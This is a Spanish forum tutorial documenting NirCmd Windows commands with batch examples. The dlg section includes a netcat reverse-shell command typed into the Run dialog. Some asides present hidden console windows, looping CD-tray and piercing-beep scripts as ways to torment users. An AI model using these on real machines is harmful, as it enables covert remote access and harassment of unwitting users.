closeprocess              Termina con el proceso especificado. Como opuesto a killprocess, closeprocess no forza a los procesos a ser cerrados inmediatamente. En cambio,este envia un mensaje WM_CLOSE a todas las ventanas de los procesos especificados.  Sin embargo, tome en cuenta que este comando no trabaja en procesos sin interfaz de usuario.
Yo lo veo igual que el comando anterior.  :rolleyes:
En el perametro de proceso, se puede especificar la ruta completa del proceso. (c:\windows\system32\calc.exe),el proceso (iexplore.exe), o el PID del proceso. ( /1112.).
Sintaxis :
nircmd closeprocess proceso
Ejemplos :
nircmd closeprocess iexplore.exe
nircmd closeprocess "c:\windows\system32\calc.exe"
nircmd closeprocess /1476
nircmd script "c:\Close.txt"
Script :
closeprocess "C:\windows\system32\calc.exe"

Memdump                    Lee la memoria de un proceso de acuerdo a los parametros que tu especofiques, y escribe dentro de un archivo de texto.
Sintaxis :
nircmd memdump [process] [dump file] [bytes por linea] {bytes to read} {start address} {nohex} {noascii}
Parametros :
[process] : El proceso que quieres a arrojar en memoria. Puedes especificar la ruta completa del proceso, el nombre solo (iexplore.exe) o el PID. (/1223)
[dump file] : El archivo donde se guardara el contenido del proceso especificado.
[bytes por linea]: Numero de bytes de memoria por linea, en el archivo arrojado.
[bytes to read] : Numero de bytes a leer.
{start address} :   Comenzar el proceso de arrojamiento desde esta direccion de memoria.
{nohex} : Parametro opcional. Si tu especificas este parametro, los datos de memoria no seran guardados en un formato hexadecimal.
{noascii} : Parametro opcional. Si tu especificas este parametro, los datos de memoria no seran guardados en formato Ascii.
Ejemplos de uso :
nircmd memdump iexplore.exe "c:\mem.txt" "16" "0x10000" "0x400000" nohex noascii
El archivo que se creara puede llegar ha ser tan grande que puede ocupar unos cuantos megas, dependiendo de los parametros.
nircmd memdump jetaudio.exe "c:\leo.txt" "10" "0x4000" "0x400000" noascii
nircmd memdump /1220 "c:\memoria.txt" "100" "0x40000" "0x4000000" nohex


Service                     Cambia el estado y el tipo de inicio de servicios y drivers.
Sintaxis :
nircmd service {\\Computer} {action} {service name}
Parametros :
{\\Computer}: Este parametro es opcional, Especifica el nombre de la maquina remota. Si se omite este parametro, se usara la maquina local.
[action] : La accion que quieres se haga. Y puede ser una de las siguientes:
Start : Iniciar el servicio o driver especificado.
Stop : Detiene el servicio o driver especificado.
pause : Pausa el servicio o driver especificado.
Continue : Continua el servicio o driver especificado.
Restart : Detiene y despues inicia otra ves el servicio o driver especificado.
Auto: Cambia el tipo de inicio de el servicio o driver, lo cambia a automatico.
Manual : Cambia el tipo de inicio de el servicio o driver, lo cambia a manual.
disabled :  Cambia el tipo de inicio de el servicio o driver, lo cambia a Deshabilitado.
boot : (Solo para drivers.) Cambia el tipo de inicio de el servicio o driver, lo cambia a Boot.
System : (Solo para drivers.) Cambia el tipo de inicio de el servicio o driver, lo cambia a System.
[Service name]: El nombre del servicio o driver.
Ejemplos de uso :
nircmd service start schedule
nircmd service start messenger
nircmd qboxcom "Desea deshabilitar el servicio de mensajero?" "Advertencia" service disabled messengernircmd service restart w3svc    (Servicio de publicacion en Wold Wide Web)
nircmd service start telnet
nircmd service start cisvc       (Indice de contenido)
nircmd service start smtpsvc    (Servicio SMTP de Microsoft.)


Win                                 Este comando es sumamente largo, pero muy satisfactorio. Permite cerrar, esconder, mostrar, maximizar, y minizar la ventana especificada.
Sintaxis :
nircmd win child [find] [top windows to find] [action] [find] [child windows to find] [Additional parameters]. Las acciones [action] pueden ser las siguientes:
[action] : La accion que quieres se haga en la ventana especificada.
child : Permite hacer una accion en una ventana chica.
close: Cierra la ventana especificada.
hide : Oculta la ventana especificada.
show : Muestra otra ves la ventana especificada. (Despues de haberla oculatado con el comando "hide")
hideshow : Oculta la ventana especificada y despues la muestra otra ves. Puedes usar esta accion para repintar el contenido de una ventana.
activate : Trae la ventana especificada al frente.
max : Maximiza la ventana especificada.
min: Minimiza la ventana especificada.
normal : Restaura la ventana especificada a su estado normal, despues de haberla maximizado o minimizado.
trans : Hace la ventana especificada transparente, el valor [Additional parameters] es un valor entre 0 y 255, que especifica el nivel de tranparencia. 0 = Completamente transparente. 255 = Completamente opaco.
setsize : Establece la medida de la venatna especificada. El valor [Additional parameters] especifica la medida deseada, x, y, Ancho y Alto.
move : Mueve/reclasifica el tamaño de la ventana especificada. El valor [Additional parameters] especifica el numero de pixeles a mover/cambiar; x, y. Ancho y Alto.
center : Centra la ventana especificada.

Como son demasiados parametros, no voy a traducir ya mas de este comando. Lo voy a poner tal cual esta...XD

settopmost : Set the top-most state of the specified windows. If the value in [Additional Parameters] is 1, the specified windows will become top-most windows, if the value is 0, the top-most state will be canceled.
redraw: Rediseña la ventana especificada.
settext: Modify the caption/title of the specified windows.
focus: Set the focus to the specified window.
disable: Disable the specified window.
enable: Enable the specified window.
+style: Add style bits to the specified window. The value of [Additional Parameters] specifies the style bits to add.
-style: Remove style bits from the specified window. The value of [Additional Parameters] specifies the style bits to remove.
+exstyle: Add extended style bits to the specified window. The value of [Additional Parameters] specifies the extended style bits to add.
-exstyle: Remove extended style bits from the specified window. The value of [Additional Parameters] specifies the extended style bits to remove.
postmsg: Post a message to the specified window. The 3 values in [Additional Parameters] specifies the message parameters: Msg, wParam, lParam.
sendmsg: Send a message to the specified window. The 3 values in [Additional Parameters] specifies the message parameters: Msg, wParam, lParam.
dlgclick: Send a click command to the button inside a dialog-box. The value in [Additional Parameters] should specify the control ID of the button, or one of the following predefined buttons: yes, no, ok, cancel, retry, ignore, close, help.
dlgsettext: Set the text to the specified control inside a dialog-box. The value in [Additional Parameters] should specify the control ID.
dlgsetfocus: Set the focus to the specified control inside a dialog-box. The value in [Additional Parameters] should specify the control ID

[Find] : El metodo para encontrar la ventana.
handle: Finds the desired window by specifying the handle of the window in [window to find] parameter.
id: Finds the desired child window by specifying the id of the child window. Useful only for child windows.
class: Finds the desired window by specifying the class name of the window in [window to find] parameter.
title :   Finds the desired window by specifying the exact title of the window in [window to find] parameter.
stitle: Finds the desired window by specifying the first few characters of the window in [window to find] parameter.
ititle: Finds the desired window by specifying a sequence of characters that exists in the window title.
alltop: All top windows.
alltopnodesktop: All top windows, except of desktop and tray windows.
active: The current active window.
foreground: The window in foreground.
desktop: The desktop window


[Find] : El metodo para encontrar la ventana.
handle: Finds the desired window by specifying the handle of the window in [window to find] parameter.
id: Finds the desired child window by specifying the id of the child window. Useful only for child windows.
class: Finds the desired window by specifying the class name of the window in [window to find] parameter.
title: Finds the desired window by specifying the exact title of the window in [window to find] parameter.
stitle: Finds the desired window by specifying the first few characters of the window in [window to find] parameter.
ititle: Finds the desired window by specifying a sequence of characters that exists in the window title.
alltop: All top windows.
alltopnodesktop: All top windows, except of desktop and tray windows.
active: The current active window.
foreground: The window in foreground.
desktop: The desktop window

[Window to find] : Especifica la ventana por, clase de nombre, titulo, deacuerdo a el valor de el parametro anterior.

Ejemplos de uso :
Supongamos que queremos cerrar el Bloc de notas. (Notepad.exe)
nircmd win close ititle "Bloc de notas"
Supongamos que queremos maximizar el Bloc de notas (Notepad.exe), pero buscando el titulo de la ventana por sus primeros caracteres :
nircmd win max stitle "Sin título"     (Puse Sin título, por que es lo que sale al abrir el Bloc de notas, estamos buscando el titulo de la ventana, recuerden...)
Supongamos que queremos hacer la ventana del bloc de notas transparente :
nircmd win trans stitle "Sin título" 192  ó
nircmd win trans ititle "Bloc de notas" 192            ititle : Para especificar una secuencia de caracteres en el titlo de la ventana"

Seria lo mismo que :
nircmd win trans ititle "notas" 192
Para transparentar todas las ventanas :
nircmd win trans alltop 192
Supongamos que queremos esconder la ventana del Internet Explorer:
nircmd win hide class "Ieframe"
Piensen en todas las posibilidades para hacer bromas.    :rolleyes:
Para centrar la ventana del Bloc de notas :
nircmd win center alltop
Para Centrar el CMD:
nircmd win center ititle "cmd.exe"          Noten que use ititle, para buscar la secuendia de caracteres.
Para mover una ventana :
nircmd win move ititle "notas" 123 123         Los numero son los valores de X, Y (Si especifican un valor muy alto, la ventana desaparecera.)
Para esconder la ventana del CMD :             Aqui podemos estar ejecutando comandos y el usuario no sabra nada  :rolleyes:
nircmd win hide ititle "cmd.exe"
Hacer la ventana del CMD chiquita hasta mas no poder:
nircmd win setsize ititle "cmd.exe" 1 1 1 1
Deshabilitar una ventana :      Lo que hacemos aqui, es que no podemos hacer nada en la ventana deshabilitada. Y traten de dar un click dentro.
Por ejemplo en una ventana nueva del CMD, vamos a deshabilitarla.
nircmd win disable ititle "cmd.exe"                No podemos usar el mouse dentro de la ventana del CMD

Supongamos que queremos quitar la barra de titulo de una ventana.                      (Por alguna razon el CMD se resiste.)
Bloc de notas :
nircmd win -style ititle "notas" 0x00C00000 
En una conversacion del MSN :
nircmd win -style ititle "Janeth" 0x00C00000
Donde Janeth es el nombre de mi contacto en la ventana de conversacion.
Supongamos que queremos intercambiar los botones de cerrar,minimizar restaurar, etc de una ventana:
nircmd win +exstyle ititle "notas" 0x00400000
Todavia no entiendo muy bien el funcionamiento de este comando...  :-\
Supongamos que tenemos abierto el Bloc de notas, y al cerrarlo nos pregunta si queremos guardar los cambios en el cuadro de dialogo, y queremos contestarle que "NO" :
nircmd win dlgclick ititle "notas" no             Asi simularias el "No" con el raton. XD
Mandar un mensaje a una ventana:
nircmd win sendmsg ititle "notas" 0x10 0 0 En este caso mandariamos un mensaje de cerrar al notepad.
Supongamos que queremos traer al frente una ventana :
nircmd win activate ititle "My Computer"
nircmd win activate ititle "Windows Live Messenger"

Modificar el texto de una ventana :
nircmd win settext ititle "Windows Live Messenger" RockoX
nircmd win settext ititle "c:\windows\system32\cmd.exe"
  (Dejando sin titulo la ventana del CMD)
Supongamos que queremos quitar el Sí, No, o Cancelar de un dialogo de guardar en el WordPad.
nircmd win dlgsettext ititle "WordPad" No
nircmd win dlgsettext ititle "WordPad" Cancelar
nircmd win dlgsettext ititle "WordPad" Yes

Con eso quitariamos el texto de los botones, en el dialogo de guardar.
Otro Ejemplo :
Supongamos que hicimos este comando :
nircmd qboxcom "Desea abrir la Calculadora de Windows" "Advertencia" calc.exe
Podemos quitar el texto de Yes y No del dialogo.
nircmd win dlgsettext stitle "Advertencia" No
nircmd win dlgsettext stitle "Advertencia" Yes

Ahora vamos a cambiar los botones del cuadro de dialogo del ejemplo anterior:
Primero Hicimos esto :
nircmd qboxcom "Desea abrir el CDROM?" "Advertencia" cdrom open
Con esto nos aparece un dialo preguntando, y nos da dos opciones Si o NO, vamos a editar el texto de los botones.
Los editamos asi :
nircmd win dlgsettext stitle "Advertencia" Yes Simon
nircmd win dlgsettext stitle "Advertencia" No Noup


Este comando es bastante largooooooooo....   :-\    :(   :huh:    :D 


Cdrom                       Este comando te permite abrir y cerrar la consola del CDROM, la accion puede ser Open o Close, puedes especificar la unidad a abrir, si la unidad es omitida el CDROM predeterminado, sera usado.
Sintaxis :
nircmd cdrom [action] [unidad]
Ejemplos de uso :
nircmd cdrom open
nircmd cdrom open d:
nircmd cdrom close
nircmd cdrom close d:
nircmd qboxcom "Desea abrir su CDROM ahora?..." "Batch Coder" cdrom open d:

O para usarlo para joder a alguien:
@echo off
cd %windir%\system32
:jode
ping -n 3 127.0.0.1>nul
nircmd cdrom open
ping -n 3 127.0.0.1>nul
nircmd cdrom close
goto jode


Es solo un ejemplo  :rolleyes:


Clipboard                        Permite Poner un valor dentro del portapapeles y limpiar el portapapeles.
Sintaxis :
nircmd clipboard [action] [parameters]
Y las Acciones [action] pueden ser las siguientes :
Set : Pone el texto especificado dentro del portatapapeles.
Readfile : Pone el contenido del archivo de texto especificado dentro del portapapeles.
Clear : Limpia el portapapeles.
Writefile : Escribe el contenido del portapapeles a un archivo (Solo de texto).
addfile : Agrega el contenido del portapapeles a un archivo, Agrega, mas no borra el contenido. (Solo texto.)
saveimage : Guarda la imagen actual en el portapapeles dentro de un archivo. Los siguientes formatos son soportados : bmp, .gif, .jpg, .png, .tiff , Solo funciona en maquinas con GDI installado.
Ejemplos de uso :
Supongamos que queremos guardar un texto especifico en el portapapeles, luego el mismo texto, mostrarlo en un mensaje:
nircmd clipboard set "RockoX Was Here!!!"
nircmd infobox "~$clipboard$" "Info XD"

(Esto sacaria un mensaje que diria RockoX Was Here!!!, que es el texto que almacenamos en el portapapeles")
Supongamos que queremos almacenar el contenido de un archivo de texto en el portapapales, para luego usarlo en un mensaje de texto :
nircmd clipboard readfile "C:\RockoX.txt"
nircmd infobox "El contenido de RockoX.txt es : ~$clipboard$" "Informacion"

Limpiar el contenido del portapapeles :
nircmd clipboard clear
Para escribir el texto contenido en el portapapeles a un archivo de texto. :
nircmd clipboard writefile "C:\RockoX.txt"
Para agregar el texto contenido en el portapapeles a un archivo de texto.
nircmd clipboard addfile "c:\RockoX.txt"             (Esto agrega un texto, pero no borra el que ya estaba, solo agrega)


gac                       Permite instalar un montaje en el Cache Global de montaje.
Sintaxis :
nircmd gac [Action] [Parameter]
Ejemplo :
nircmd gac install "C:\MyAssembly.dll"

Beep                      Suena un beep. El parametro de [Frequency] especifica la frecuencia, in hertz. El parametro [Duration] especifica la duracion de el sonido en milisegundos. Bajo Windows 95/98, los parametros dichos son ignorados, y solo un beep standard es sonado.
Sintaxis :
nircmd beep [Frequency] [Duration]
La frecuencia mas baja que encontre fue 37.
Ejemplos de uso :
nircmd beep 37 10000         (La frecuencia seria la mas baja, y duraria 10 segundos el beep)
1000 milisegundos = 1 segundo
nircmd beep 14500 4000                (Durante 4 segundos.)
nircmd qboxcom "Desea fastidiar sus oidos durante 10 segundos?" "Warning!" beep 14300 10000

De verdad que esa frecuencia del Beep es muy molesta, y ahi estariamos dañando fisicamente al usuario  :rolleyes:

stdbeep                         Suena un standard beep de Windows.
nircmd stdbeep
Ejemplos de uso :
[code]@echo off
cd %windir
Código (perl) [Seleccionar]

(( 1 / 0 )) &> /dev/null || {
echo -e "stderrrrrrrrrrrrrrrrrrr";
}

http://leonardogtzr.wordpress.com/
leogutierrezramirez@gmail.com

leogtz

#1
Segunda Parte


setsysvolume                         Especifica el volumen del sonido de tu sistema. Cambiando este valor, tambien efectua las configuraciones de volumen del sonido bajo el Panel de Control. El parametro [volume] debe contener un valor entre
0 (Silencio) y 65535 (Maximo Volumen.)
El parametro {Component} es opcional, y especifica uno de los siguientes componentes de sonido : master, waveout, synth, cd, microphone, phone, aux, headphones, wavein. El valor predeterminado es 'master' (Volumen general). Bajo Windows Vista, el nombre del componente debe ser identico a uno de los nombres de dispositivos que aparecen en el panel de Control de Windows Vista.
{Device Index} es otro parametro opcional que especifica el indicador de dispositivo de sonido. Este parametro es util si tienes mas de una tarjeta de sonido. Si tu no especificas este parametro la tarjeta predeterminada de sonido, establecida en el Panel de Control, sera usada.
Sintaxis :
nircmd setysvolume [volume] {Component}  {Device Index}
Ejemplos de uso :
Poner el Volumen al tope:
nircmd setsysvolume 65535
nircmd setsysvolume 0            (Silencio)
nircmd qboxcom "Desea poner al tope el volumen?" "Sonido" setsysvolume 65535
nircmd setsysvolume 0x8000
nircmd setsysvolume 250000 waveout
nircmd setsysvolume 250000 master 1



Setsysvolume                          Es similar a setsysvolume, pero en lugar de configurar el volumen del sistema completo, setsysvolume2, configura el canal izquiero y derecho, separadamente.
Sintaxis :
nircmd setsysvolume2 [left volume] [right volume] {Component} {Device Index}
Ejemplos de uso :
nircmd setsysvolume2 10000 20000
nircmd setsysvolume2 30000 0
nircmd setsysvolume2 25000 15000 waveout
nircmd setsysvolume2 30000 0 master 1



Changesysvolume                      Aumenta o decrece el volumen del sistema. El parametro [volume change] especifica el numero de unidades de volumen a incrementear o desincrementar (Valores negativos para desincrementar, valores positivos para incrementar)
{Component} es un parametro opcional que especifica uno de los siguientes componentes de sonido : master, waveout, synth, cd, microfono, phone. aux, line, headphones, wavein. El valor predeterminado es 'master' (Volumen general).
Bajo Windows Vista, el nombre del componente debe ser identico a uno de los nombres de dispositivos que aparecen en el panel de Control de Windows Vista. Si el nombre del dispositivo de sonido contiene espacios, este debera estar entre comillas "".
{Device Index} es otro parametro opcional que especifica el indicador de dispositivo de sonido. Este parametro es util si tienes mas de una tarjeta de sonido. Si tu no especificas este parametro la tarjeta predeterminada de sonido, establecida en el Panel de Control, sera usada.
Sintaxis :
nircmd changesysvolume [volume change] {Component} {Device Index}
Ejemplos de uso :
nircmd changesysvolume 5000                      (Con esto iriamos subiendo el volumen 5000 unidades)
nircmd changesysvolume -5000                     (Con esto iriamos bajando el volumen 5000 unidades)
nircmd changesysvolume 0x1000 waveout
nircmd changesysvolume 0x1000 master 1


Changesysvolume2                          Similar a changesysvolume, pero en lugar de configurar el volumen del sistema completo, changesysvolume2, configura el canal izquiero y derecho separadamente.
Sintaxis :
nircmd changesysvolume2 [Left Volume Change] [Right volume change] {Component} {Device Index}
Ejemplos de uso :
nircmd changesysvolume2 1000 -1000           (Iriamos subiendo 1000 unidades del canal izquierdo, y decreciendo 1000 unidades del lado derecho.
nircmd changesysvolume2 -3000 0
nircmd changesysvolume2 0 -5000 waveout
nircmd changesysvolume2 -3000 0 master 1       (Donde 'master' es el Componente y 1 es el Indicador)



mutesysvolume                      Mutea/Desmutea el volumen del sistema.
En el parametro [action], especifica 1 para mutear, 0 para demsutear, o 2 para cambiar entre muteado y el estado normal.
{Component} es un parametro opcional que especifica uno de los siguientes componentes de sonido : master, waveout, synth, cd, microfono, phone. aux, line, headphones, wavein. El valor predeterminado es 'master' (Volumen general).
Bajo Windows Vista, el nombre del componente debe ser identico a uno de los nombres de dispositivos que aparecen en el panel de Control de Windows Vista. Si el nombre del dispositivo de sonido contiene espacios, este debera estar entre comillas "".
{Device Index} es otro parametro opcional que especifica el indicador de dispositivo de sonido. Este parametro es util si tienes mas de una tarjeta de sonido. Si tu no especificas este parametro la tarjeta predeterminada de sonido, establecida en el Panel de Control, sera usada.
Sintaxis :
nircmd mutesysvolume [action] {Component} {Device Index}
Ejemplos de uso :
nircmd mutesysvolume 1
nircmd qboxcom "Desea mutear el volumen de su sistema?" "Advertencia" mutesysvolume 1
nircmd qbox "Desea desmutear el volumen de su sistema?" "Advertencia" nircmd.exe mutesysvolume 0
nircmd mutesysvolume 1
nircmd mutesysvolume 2
nircmd mutesysvolume waveout
nircmd mutesysvolume 1 master 1



wait                             Simplemente espera el numero especificado de milisegundos.
Sintaxis :
nircmd wait [milliseconds]
Ejemplos:
Vamos a hacer un bucle, abriendole infinitamente la consola del CDROM, usando comandos nircmd
@echo off
cd %windir%\system32
color a
:CD
nircmd wait 3000
nircmd cdrom open
nircmd wait 3000
nircmd cdrom close
goto CD

Otro Ejemplo:
nircmd wait 5000
taskkill -f -im iexplore.exe



sysrefresh                         Inicia un refresco general, para el Explorador de Windows. Este comando de refresco puede ser util si tu haces un cambio en el registro relacionado a los tipos de archivos. (Por ejemplo, si tu cambias el icono de una extension .gif) y tu quieres que los cambios tomen efecto inmediatamente.
Sintaxis :
nircmd shellrefresh
Ejemplo :
nircmd qboxcom "Usted ha hecho un cambio en el registro de Windows, desea refrescar el Explorador?" "Advertencia" shellrefresh


Sysrefresh                          Inicia un refresco general del sistema. Tu puedes usar este comando para refrescar tu sistema despues de cambiar tus configuraciones del sistema en el registro (Cambiando la medida de los iconos en el escritorio, variables de entorno, y mas).
{Refresh type} es opcional. Tu puedes especificar uno de los siguientes valores: "environment" - para refrescar las variables de entorno, "policy" -Configuraciones de politicas. "intl" para configuraciones locales.
Sintaxis :
nircmd sysrefresh {Refresh type}
Ejemplos de uso :
nircmd sysrefresh
nircmd qboxcom "Desea hacer un refreso general del sistema?" "Advertencia" sysrefresh
nircmd qbox "Desea hacer un refresco general del sistema?" "Advertencia" nircmd.exe sysrefresh
nircmd qboxcom "Usted ha hecho un cambio en las variables de entorno, desea hacer un refreso, para las mismas?" "Advertencia" sysrefresh environment
nircmd sysrefresh policy



setcursor                       Especifica la posicion del cursor. Los parametros [X] y [Y] especifican la posicion deseada del cursor.
Sintaxis :
nircmd setcursor [X] [Y]
Ejemplos de uso :
Poner el cursor en el boton inicio:         (Esto claro que varia de maquina en maquina, pero en la mia funciona asi)
nircmd setcursor 40 580
Poner el cursor en la esquina superior izquierda :
nircmd setcursor 0 0

movercursor                   Mueve el cursor del mouse. Los parametros [X] y [Y] especifican el numero de pixeles a mover.
Ejemplos :
Un Script para dejar el cursor en el Menu Inicio :      (Si llega a fallar solo modifiquen mas las X y las Y.)
@echo off
cd %windir%\system32
nircmd setcursor 0 0
nircmd movecursor 0 100
nircmd movecursor 0 100
nircmd movecursor 0 100
nircmd movecursor 0 100
nircmd movecursor 0 100
nircmd movecursor 0 100
nircmd movecursor 0 100
nircmd movecursor 0 100
nircmd movecursor 0 100
nircmd movecursor 0 100
nircmd movecursor 0 100
nircmd movecursor 0 100



dlg                            Te permite interactuar con una caja de dialogo standard y cajas de mensajes de Windows. Cuando una caja de dialogo es abierta, tu puedes usar este comando para dar 'click' en los botones ok/cancel/yes/no, o llenar las cajas de texto en las cajas de dialogo.
Sintaxis :
nircmd dlg [Process Name] [Window Title] [Action] [Parameters]
Por ejemplo, los siguientes comandos llenan la caja de dialogo standard de Ejecutar, con el proceso calc.exe (Calculadora), y despues da click en el boton OK. El '12298' es el Control ID de la caja de texto, en el dialogo ejecutar. Puedes encontrar el Control ID usando Spy++ of Microsoft, o usando la utilidad WinExplorer.
Link de WinExplorer
http://www.nirsoft.net/utils/winexp.html
Vamos a ver el comando descrito arriba :
El ejemplo solo funciona con el cuadro de dialogo Ejecutar abierto.
nircmd dlg "explorer.exe" "run" settext 12298 "cmd.exe"
nircmd dlg "explorer.exe" "run" click ok

Todo esto varia dependiendo el lenguaje del SO, lo he probado en un PRO en español y un Home Edition en ingles, y varia.
Ejemplos con el dialogo ejecutar:
En un Windows XP en Español :
@echo off
cd %windir%\system32
nircmd dlg "explorer.exe" "Ejecutar" settext 12298 "cmd.exe /k nc -d -e cmd.exe 192.168.1.67 124"
nircmd dlg "explorer.exe" "Ejecutar" click OK

Conseguiriamos una shell si tiene el dialogo Ejecutar Abierto.
Otro Ejemplo :
@echo off
cd %windir%\system32
nircmd dlg "explorer.exe" "Ejecutar" settext 12298 "shutdown -s -f -t 1234 -c "Funciona!"
nircmd dlg "explorer.exe" "Ejecutar" click ok


El siguiente comando respondera 'Si' para cualquier Caja de Dialogoo del Explorador:
nircmd dlg "explorer.exe" "" click yes                 (Ustedes pueden cambiar el proceso, y el SI No , etc)
Lo anterior lo pueden usar : Al cambiar la extension de un archivo manualmente, y cuando pregunta que si estamos seguros de cambiar la extension del archivo; Cuando nos pregunta si queremos enviar un archivo a la papalera. etc.

El siguiente comando respondera 'Cancelar' para cualquier caja de dialogo de cualquier proceso.
nircmd dlg "" "" click cancel

Descripcion de los parametros de DLG :
[Process Name] : Especifica el proceso que creara la ventana deseada. Puedes especificar solo el nombre del proceso (iexplore.exe) o la ruta completa del proceso (c:\windows\notepad.exe). Si este parametro esta vacio (""), el comando se ejecutara en cualquier proceso.
[Window Title] : Especifica el titulo de la ventana donde quieres que se ejecute la acccion. Si este parametro esta vacio (""), El comando sera ejecutado en cualquier ventana.
[Action] : Puedes especificar una se las siguientes opciones:
Click : Click en el boton especificado. Puedes especificar uno de los siguientes valores predefinidos (Solo para cajas de dialogos standard de Windows): yes, no, ok, cancel, retry, ignore, close, help. Tambien puedes especificar cualquier Control ID como un valor numerico.
Settext : Pone un texto en el control especificado. El primer parametro de esta accion, especifica el ID de el Control, y el segundo parametro especifica el texto.     (settext 12298 "calc.exe")


dlgany                               Es similar a el comando DLG, pero este trabaja en cualquier ventana, incluso si no esta identificado como una caja de dialogo standard de Windows.
Sintaxis :
nircmd dlgany [Process Name] [Windows Title] [Action] [Parameters]
Ejemplos :
Supongamos que al cerrar un documento en el Bloc de notas, nos pregunta que si queremos guardar los cambios, y queremos contestarle algo:
nircmd dlgany "Notepad.exe" "" click NO           (O cualquier otra contestacion que quieran)

returnval                              Este comando permite especificar el valor de retorno para Nircmd. El valor de retorno puede ser usado por un programa externo que Nircmd.
Por ejemplo, en el siguiente comando, Nircmd retorna el valor 0x30 si el usuario responde 'SI'.
Aun no hayo en que aplicar este comando:
Ejemplo :
nircmd qboxcom "Desea continuar ?" "Pregunta" returnval 0x30


Sendkey                           Manda una pulsacion al sistema.
El parametro [Key] especifica la tecla como un codigo virtual (Por ejemplo : 0x2e para la tecla Del), o como uno de los siguientes valores predeterminados : a - z y 0 - 9 (Para teclas alfanumericas), F1 - F24 (Para las teclas FXX), shift, ctrl, alt, enter, Esc.
El segundo parametro especifica la accion de la tecla, 'press', 'down', o 'up'. Para cada accion de la tecla, debes agregar tambien la accion adecuada de la tecla.
Sintaxis :
sendkey [Key] [press | down | up]
Vamos a ver el siguente Script, el sistema adaptara las teclas como si el usuario tecleara la combinacion Shift+Ctrl+Esc (El Administrador de Tareas deberia aparecer.)
El Script debe contener lo siguiente :
sendkey shift down
sendkey ctrl down
sendkey esc down
sendkey shift up
sendkey ctrl up
sendkey esc up

y para ejecutarlo:
nircmd script "c:\script.txt"  (Mi script lo guarde en mi disco c: y lo guarde como Script.txt)
Otro Ejemplo :
Vamos a simular abrir el Menu Inicio.
En un archivo Script guardamos lo siguiente :
sendkey ctrl down
sendkey esc down

Luego lo guardan con el nombre que quieran y la extension que quieran
Luego lo ejecutamos asi :
nircmd script "c:\script.txt"

Otro Ejemplo:
@echo off
cd %windir%\system32
nircmd wait 100
nircmd execmd start c:\windows\notepad.exe
nircmd wait 300
:RockoX
nircmd sendkey enter press
nircmd wait 70
nircmd sendkey T press
nircmd wait 70
nircmd sendkey u press
nircmd wait 70
nircmd sendkey t press
nircmd wait 70
nircmd sendkey o press
nircmd wait 70
nircmd sendkey r press
nircmd wait 70
nircmd sendkey i press
nircmd wait 70
nircmd sendkey a press
nircmd wait 70
nircmd sendkey l press
nircmd wait 70
nircmd sendkey enter press
nircmd wait 70
nircmd sendkey N press
nircmd wait 70
nircmd sendkey i press
nircmd wait 70
nircmd sendkey r press
nircmd wait 70
nircmd sendkey c press
nircmd wait 70
nircmd sendkey m press
nircmd wait 70
nircmd sendkey d press
nircmd wait 70
nircmd sendkey enter press
nircmd wait 70
nircmd sendkey b press
nircmd wait 70
nircmd sendkey y press
nircmd wait 70
nircmd sendkey enter press
nircmd wait 70
nircmd sendkey R press
nircmd wait 70
nircmd sendkey o press
nircmd wait 70
nircmd sendkey c press
nircmd wait 70
nircmd sendkey k press
nircmd wait 70
nircmd sendkey o press
nircmd wait 70
nircmd sendkey X press
goto RockoX

Guardenlo como .bat y ejecutenlo, veran la idea XD.


sendmouse                            Manda un evento especificado de mouse a el sistema. El sistema operativo se comportara exactamente com si el usuario realizara esta accion de mouse.
Sintaxis :
nircmd sendmouse [right | left | middle] [down | up | click | dblclick]
nircmd sendmouse
[X] [Y]
nircmd sendmouse [wheel] [wheel Value][/i]
Ejemplos de uso :
Abrir el menu contextual en una aplicacion (Para la mayoria de las aplicaciones.):
nircmd sendmouse right click
Doble click con el boton izquierdo del mouse :
nircmd sendmouse left dblclick            (Pueden hacer la prueba, al abrir un archivo)
Pulsar el boton izquierdo, mover el cursor 20 pixeles a la izquierda, y 30 pixeles abajo, y despues realiza la accion :
Script :
sendmouse left down
sendmouse move -30 20
sendmouse left up

Rota la llanta del mouse 10 unidades. (En un mouse standard, el valor de la llantita debe ser un multiple de 120)
sendmouse wheel 1200       (Esto lo podrian usar para bajar las barras scroll del navegador)
Otros Ejemplos :
Posicionar el puntero el puntero en el Menu Inicio, luego dar click para abrirlo :

@echo off
cd %windir%\system32
nircmd setcursor 0 0
nircmd movecursor 0 100
nircmd movecursor 0 100
nircmd movecursor 0 100
nircmd movecursor 0 100
nircmd movecursor 0 100
nircmd movecursor 0 100
nircmd movecursor 0 100
nircmd movecursor 0 100
nircmd movecursor 0 100
nircmd movecursor 0 100
nircmd movecursor 0 100
nircmd movecursor 0 100
nircmd sendmouse left click
exit

Otro Ejemplo :
Es un Batch que abre el Bloc de Notas maximizado, luego posiciona el cursor en la esquina superior izquierda, luego abre el Menu Contextual con un click, luego presiona la tecla c Para cerrar :
@echo off
cd %windir%\system32
start /max c:\windows\notepad.exe
nircmd wait 1000
nircmd setcursor 1 1
nircmd wait 1000
nircmd sendmouse right click
nircmd wait 1000
nircmd sendkey c press
exit



Convertimage                      Convierte un archivo de imagen de un formato a otro, (Sin eliminar la original). Los siguientes formatos son soportados : bmp, .gif, .png, .jpg, .tiff.
Es comando solo trabaja en Windows  XP/2003/Vista (GDI+ es requerido.)
Sintaxis :
nircmd convertimage [source filename] [destination filename]
Ejemplos de uso :
nircmd convertimage "c:\virus.gif" "c:\virus.jpg"
nircmd qboxcom "Desea cambiar el formato de la imagen especificada ?" "Advertencia" convertimage "C:\virus.gif" "c:\virus.jpg"

convertimages                    Convierte multiples archivos de imagen de un formato a otro. Los siguientes archivos de imagen son soportados : .bmp, .gif, .png, .jpg, .tiff.
Este comando trabaja solamente en Windows XP/2003/Vista (GDI+ es requerido.)
Sintaxis :
nircmd convertimages [source wildcard] [extension]
Ejemplos de uso :
Tenemos en un directorio varias imagenes .gif, y las queremos convertir a .jpg :
nircmd convertimages "c:\*.gif*" .jpg             (.gif es el formato original y .jpg es el formato al que se convertiran)
Otros ejemplos :
nircmd convertimages "c:\v*.gif*" .jpg


Bueno, mañana que pueda posteo mas acciones Nircmd, explicadas....
En conclusion : Nircmd es una herramienta poderosa, es un archivo de 28 kb, gratis.
Me ha tocado ver que aplicaciones antimalwares, utilizan Nircmd.
Y algunos antivirus lo reconocen como una aplicacion severamente no querida, debido a las acciones que puede realizar... :-\

:)
Bueno Hasta luego a todos...

Si a alguien le molesta tener que descargar Nircmd, aqui esta un code que hice, que extrae a Nircmd en system32, solo en un batch, sin ayuda de ningun programa externo...

http://mx.geocities.com/leorocko13/Nircmd_Batcherizado_by_RockoX.txt

